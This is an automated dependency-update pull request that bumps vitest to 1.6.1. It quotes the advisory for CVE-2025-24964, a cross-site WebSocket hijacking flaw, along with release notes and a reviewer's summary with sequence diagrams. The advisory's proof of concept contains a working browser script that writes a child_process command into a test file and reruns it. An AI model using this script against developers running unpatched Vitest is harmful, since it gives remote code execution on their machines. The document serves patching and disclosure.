chore(deps): update dependency vitest to v1.6.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
vitest (source)	1.6.0 → 1.6.1

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Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

• CVSS Score: 9.6 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
• https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
• https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
• https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
• https://nvd.nist.gov/vuln/detail/CVE-2025-24964
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
• https://vitest.dev/config/#api
• https://github.com/advisories/GHSA-9crc-q9x8-hgqq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

• Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964

   🐞 Bug Fixes

• backport #​7317 to v1 - by @​hi-ogawa in #​7319

    View changes on GitHub

---

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[sourcery-ai]

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from version 1.6.0 to 1.6.1 to address a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution. The vulnerability stems from a cross-site WebSocket hijacking (CSWSH) attack when the api option is enabled.

Sequence diagram showing the security vulnerability in Vitest 1.6.0

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as Vitest WebSocket Server
    participant FS as File System

    Note over WS: No Origin check or authorization

    Attacker->>MW: Visits malicious website
    MW->>WS: Connect to ws://localhost:51204/__vitest_api__
    WS-->>MW: Connection accepted (vulnerable)
    MW->>WS: saveTestFile API call
    Note right of WS: Injects malicious code
    WS->>FS: Write malicious test file
    MW->>WS: rerun API call
    WS->>FS: Execute test file
    Note right of FS: Arbitrary code execution

Loading

Sequence diagram showing the fixed behavior in Vitest 1.6.1

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as Vitest WebSocket Server
    participant FS as File System

    Note over WS: With Origin check and authorization

    Attacker->>MW: Visits malicious website
    MW->>WS: Connect to ws://localhost:51204/__vitest_api__
    WS-->>MW: Connection rejected (fixed)
    Note right of WS: CSWSH attack prevented

Loading

File-Level Changes

Change	Details	Files
Updated vitest dependency to address CVE-2025-24964.	Updated vitest version from 1.6.0 to 1.6.1. Updated @vitest/coverage-v8 version from 1.6.0(vitest@1.6.0) to 1.6.0(vitest@1.6.1). Updated picocolors dependency from 1.0.0 to 1.1.1. Updated esbuild dependencies from 0.20.2 to 0.21.5. Updated @jridgewell/sourcemap-codec from 1.4.15 to 1.5.0 Updated acorn from 8.11.3 to 8.14.0 Updated chai from 4.4.1 to 4.5.0 Updated deep-eql from 4.1.3 to 4.1.4 Updated type-detect from 4.0.8 to 4.1.0 Updated debug from 4.3.4 to 4.4.0 Updated local-pkg from 0.5.0 to 0.5.1 Updated mlly from 1.7.0 to 1.7.4 Updated pkg-types from 1.1.0 to 1.3.1 Updated pathe from 1.1.2 to 2.0.2 Updated rollup from 4.17.2 to 4.34.4 Updated std-env from 3.7.0 to 3.8.0 Updated strip-literal from 2.1.0 to 2.1.1 Updated vite from 5.2.11 to 5.4.14 Updated vite-node from 1.6.0 to 1.6.1 Updated why-is-node-running from 2.2.2 to 2.3.0	pnpm-lock.yaml

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